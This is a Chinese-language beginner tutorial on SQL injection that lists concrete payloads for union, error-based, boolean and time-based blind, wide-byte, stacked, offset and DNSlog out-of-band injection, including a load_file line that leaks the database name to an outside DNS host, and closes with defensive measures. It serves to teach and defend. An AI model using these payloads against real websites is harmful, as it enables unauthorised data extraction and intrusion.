初学SQL注入之常见的几种注入类型介绍
字数 1380 2025-08-15 21:32:49
SQL注入攻击全面指南
1. SQL注入原理
SQL注入攻击的本质是将用户输入的参数当作SQL语句执行。当Web应用程序对用户输入数据的合法性没有进行充分判断和过滤时,攻击者可以通过构造特定的SQL语句实现对数据库的任意操作,包括增删改查等。如果数据库用户权限足够大,甚至可以对操作系统执行操作。
必要条件:
- 用户可以控制自己的输入
- 输入参数可以被拼接成SQL语句执行
危害:
- 信息泄露
- 上传webshell
- 篡改网页内容
- 服务器控制
2. SQL注入分类及详细技术
0x00 联合注入
1. 判断注入点
http://127.0.0.1/test.php?id=1 and 1=1 -- 页面正常
http://127.0.0.1/test.php?id=1 and 1=2 -- 页面错误
其他方法:id=1'、id=-1、id=2-1、and 1>0
2. 猜解字段数
http://127.0.0.1/test.php?id=1 order by 5 -- 正常
http://127.0.0.1/test.php?id=1 order by 6 -- 错误,说明有5个字段
3. 联合查询寻找输出点
select * from news where id=12333 union select 1,2,3,4
注意:有时需要将前面的id设为不存在的值以避免数据覆盖
4. 查询库名
http://127.0.0.1/test.php?id=1 union select 1,2,3,database()
5. 查询表名
利用information_schema.tables系统表:
union select 1,table_name,3,4 from information_schema.tables
where table_schema='库名' limit 0,1
或使用group_concat()合并输出:
union select 1,group_concat(table_name),3,4 from information_schema.tables
where table_schema='库名'
6. 查询字段
利用information_schema.columns系统表:
union select 1,column_name,3,4 from information_schema.columns
where table_name='表名'
0x01 HTTP头注入
攻击点:
- User-Agent:识别客户端操作系统和浏览器信息
- Cookie:用户身份验证数据
- Referer:来源页面
- X-Forwarded-For:真实客户端IP
0x02 报错注入
1. updatexml()
select * from aaa where id=1 and updatexml(1,concat(0x7e,(select user()),1))
0x7e是"~"的16进制表示,用于触发路径错误
2. floor()
select * from aaa where id=1 and (select 1 from
(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
3. extractvalue()
select * from aaa where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
0x03 布尔型盲注
关键函数:
length():返回字符串字节长度substr(string, start, length):字符串截取ascii():返回字符ASCII值
1. 猜解数据库名长度
and length(database())>10 -- 页面正常
and length(database())>20 -- 页面错误
and length(database())=9 -- 页面正常
2. 猜解数据库名
and (ascii(substr(database(),1,1)))=100 -- 第一位是'd'
3. 猜解字段名
and (ascii(substr((select column_name from information_schema.columns
where table_name='aaa' limit 0,1),1,1)))>100
0x04 延时注入
关键函数:
sleep(n):暂停n秒if(expr1,expr2,expr3):条件判断
and if(ascii(substr(database(),1,1))=100,0,sleep(10)) -- 第一位是'd'则延时10秒
0x05 宽字节注入
原理:利用GBK等双字节编码特性,使转义符\与前一字符组合成合法字符,从而逃逸单引号。
示例:
%df%27 -- %5c(\)与%df组合成"運",单引号逃逸
绕过方法:
- 使用16进制表示表名/字段名
- 使用汉字绕过
0x06 堆叠注入
利用分号执行多条SQL语句:
';select * from admins;show database() %23
注:需要mysql_multi_query()支持
0x07 DNSlog注入
利用条件:
- 服务器可发起DNS请求
secure_file_priv设置允许- 有
FILE权限
构造UNC路径:
and(select load_file(concat('//',(select database()),'.xxxxx.dnslog.cn/abc')))
0x08 偏移注入
适用场景:知道表名但不知道字段名(如Access数据库)
步骤:
- 判断字段数:
order by 15 - 寻找显示位:
union select 1,2,...,15 from admin - 使用
*代替字段名:union select 1,2,3,4,5,6,7,8,9,* from admin - 移动
*位置获取不同字段数据
3. 防御措施
- 使用参数化查询(预编译语句)
- 对用户输入进行严格过滤和转义
- 最小权限原则,限制数据库用户权限
- 关闭错误回显
- 使用Web应用防火墙(WAF)
- 定期更新和修补系统漏洞
4. 总结
SQL注入攻击手段多样,从简单的联合查询到复杂的盲注、DNS外带等技术,攻击者不断寻找新的突破口。防御方需要全面了解这些技术原理,才能构建有效的防护体系。安全开发应从设计阶段开始,遵循安全编码规范,避免给攻击者可乘之机。